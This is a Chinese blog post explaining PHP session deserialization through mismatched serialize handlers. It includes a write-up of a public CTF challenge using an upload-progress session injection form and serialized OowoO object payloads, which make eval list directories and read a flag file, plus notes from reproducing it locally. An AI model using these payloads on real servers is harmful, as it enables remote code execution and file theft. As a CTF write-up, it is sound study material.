zoukankan      html  css  js  c++  java
  • PHP反序列化与Session

    0x00前言:

    php存储session有三种模式,php_serialize, php, binary

    这里着重讨论php_serialize和php的不合理使用导致的安全问题

    关于session的存储,java是将用户的session存入内存中,而php则是将session以文件的形式存储在服务器某个tmp文件中,可以在php.ini里面设置session.save_path存储的位置

    设置序列化规则则是

    注意,php_serialize在5.5版本后新加的一种规则,5.4及之前版本,如果设置成php_serialize会报错

    session.serialize_handler = php              一直都在            它是用 |分割
    session.serialize_handler = php_serialize    5.5之后启用         它是用serialize反序列化格式分割

    首先看session.serialize_handler = php序列化的结果

    它的规则是$_SESSION是个数组,数组中的键和值中间用 | 来分割,值如果是数组或对象按照序列化的格式存储

    然后看看session.serialize_handler = php_serialize的序列化结果

    它是全程按照serialize的格式序列化了$_SESSION这个数组

    它比php的格式多了个最前面多了个 "a:2:{ ...." 也就是$_SESSION这个数组有2个元素,还有个区别在于,它的键名也表明了长度和属性,中间用 ; 来隔开键值对

    虽然2个序列化格式本身没有问题,但是如果2个混合起用就会造成危害

    形成原理是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时 "|"会被当成键值对的分隔符

    比如,我先用php存了个数组,在$_SESSION['b']的值里面加入 | ,并在之后写成一个数组的序列化格式

    如果正常的用php_serialize解析,它返回的是$_SESSION['b']是个长度为44的字符串

    如果用php进行解析,发现它理解为一个很长的名字的值是一个带了2个元素的数组

     

    0x01一道CTF题目:

    题目是道网上常常拿来做例子的一道php反序列化题目

    题目连接:http://web.jarvisoj.com:32784/

    源码已经给出,如下

    <?php
    //A webshell is wait for you
    ini_set('session.serialize_handler', 'php');
    session_start();
    class OowoO
    {
        public $mdzz;
        function __construct()
        {
            $this->mdzz = 'phpinfo();';
        }
        
        function __destruct()
        {
            eval($this->mdzz);
        }
    }
    if(isset($_GET['phpinfo']))
    {
        $m = new OowoO();
    }
    else
    {
        highlight_string(file_get_contents('index.php'));
    }
    ?>

    能够查看phpinfo,于是发现全局用的php_serialize进行序列化,而这个页面是以php来进行解析的

    那么可以利用上面的理论进行事先准备个$this->mdzz= 'payload' 进行攻击

    问题是怎么将payload写入session,这里php有个上传文件的会将文件名写入session的技巧

    https://bugs.php.net/bug.php?id=71101

    原文意思大致要求满足以下2个条件就会写入到session中

    session.upload_progress.enabled = On
    上传一个字段的属性名和session.upload_progress.name的值相,这里根据上面的phpinfo信息看得出,值为PHP_SESSION_UPLOAD_PROGRESS,即
    name="PHP_SESSION_UPLOAD_PROGRESS"

    写好脚本

    <html>
    <head>
        <title>upload</title>
    </head>
    <body>
        <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
            <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
            <input type="file" name="file" />
            <input type="submit" />
        </form>
    </body>
    
    </html>

    注意这里 "PHP_SESSION_UPLOAD_PROGRESS" 的 value不能为空

    这里根据题目的类,需要修改mdzz这个属性,于是写个php生成payload,因为看看phpinfo的禁用函数,能调用系统的函数都被ban了,于是只能用var_dump,scandir和file_get_contents来读取flag

    <?php
    class OowoO
    {
        public $mdzz = "var_dump(scandir('./'));";
       
        function __destruct()
        {
            eval($this->mdzz);
        }
    }
    $a = new OowoO();
    echo serialize($a) . "<br>";
    ?>

    生成payload

    O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('./'));";}
    当然这个是不行的,我们要稍微改一下,"要转义,前面加个|
    |O:5:"OowoO":1:{s:4:"mdzz";s:24:"var_dump(scandir('./'));";}

    先随便传个文件,把包抓下来,把文件名改成我们的payload

     

    能够查看到根目录的情况了

     网上有个payload是直接用

    |O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

    我因为太菜最先没想到,于是去看了下phpinfo的session的存放位置,有个/opt/lampp/估计是装的的xampp这个集成的环境,而这个集成环境的web页面放在htdocs目录下的

    |O:5:"OowoO":1:{s:4:"mdzz";s:38:"var_dump(scandir('/opt/lampp/'));";}
    |O:5:"OowoO":1:{s:4:"mdzz";s:40:"var_dump(scandir('/opt/lampp/htdocs/'));";}

     看到flag文件了

    接下来是读取,这里额外提一句file_put_contents和fie_get_contents能够使用php://filter伪协议,但这里用var_dump导出来,不是文件包含,看下源码就能找打答案

    |O:5:"OowoO":1:{s:4:"mdzz";s:89:"var_dump(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";}

    0x03环境复现:

    因为最先学习这道题的时候想看看session文件,于是在本地搭建了个环境

    <?php
    ini_set('session.serialize_handler', 'php');
    
    session_start();
    var_dump($_SESSION);
    echo "<br>";
    class test
    {
        public $wd; 
        function __destruct()
        {
            eval($this->wd);
        }
    }
    ?>

    最先我用一个文件直接生产用php_serialize规则序列化并直接存在session中

    然后访问模拟搭建的页面,漏洞能够利用成功

     

    于是我改用文件上传的形式,结果死活没法生成正确的session

    再看看session文件,啥都没写入

    这是为什么,想了一晚上,看了看phpinfo的信息,上传保留session的enabled是默认开启的,session.upload_progress.name也是默认

    上传的html页面能在上面的ctf题中成功运行,说明不是上传的请求头格式问题

    payload如果写入session文件中也能正常触发phpinfo

    但是现在的问题是session写不进去,于是估计是配置问题了。

    我再读了遍:https://bugs.php.net/bug.php?id=71101

    发现它给出它的运行环境的配置,于是我按照它的ini对应的配置,再配了遍自己的php.ini,发现很多配置都是被注释掉的,也就是默认的值

    最后成功执行了

     

     session文件也写入了,可以仔细看看写的session文件内容

    因为用php解析了,为了使解析格式正确,它直接丢掉了些 },如果正常解析的话,可以看出多了很多键值对,但是正是因为用php解析, |前面的所有字符都当做键名,而后面的payload则被反序列化,造成漏洞利用

    再回到为什么之前不行,现在可以运行的问题上,最后我测试了是 session.upload_progress.cleanup这个参数

    session.upload_progress.cleanup = Off

    这个要为Off或者0,才能将上传的内容保存到session,但是,php默认的是On,所有最先死活传不上去

  • 相关阅读:
    Oracle kill sessin 说明
    Oracle Rules Manager 和 Oracle Expression Filter 组件 说明
    Oracle 使用RMAN COPY 移动 整个数据库 位置 示例
    Oracle Text 组件 说明
    Oracle Workspace Manager 组件 说明
    Oracle expdp 报错: ORA39125 ORA4063 on View SYS.KU$_CLUSTER_VIEW 解决方法
    Oracle expdp 报错: ORA39125 ORA4063 on View SYS.KU$_CLUSTER_VIEW 解决方法
    Oracle ORA31000: Resource 'http://xmlns.oracle.com/xdb/acl.xsd' is not an XDB schema 解决方法
    Oracle Workspace Manager 组件 说明
    Oracle XDB 组件 重建 说明
  • 原文地址:https://www.cnblogs.com/sijidou/p/10455646.html
Copyright © 2011-2022 走看看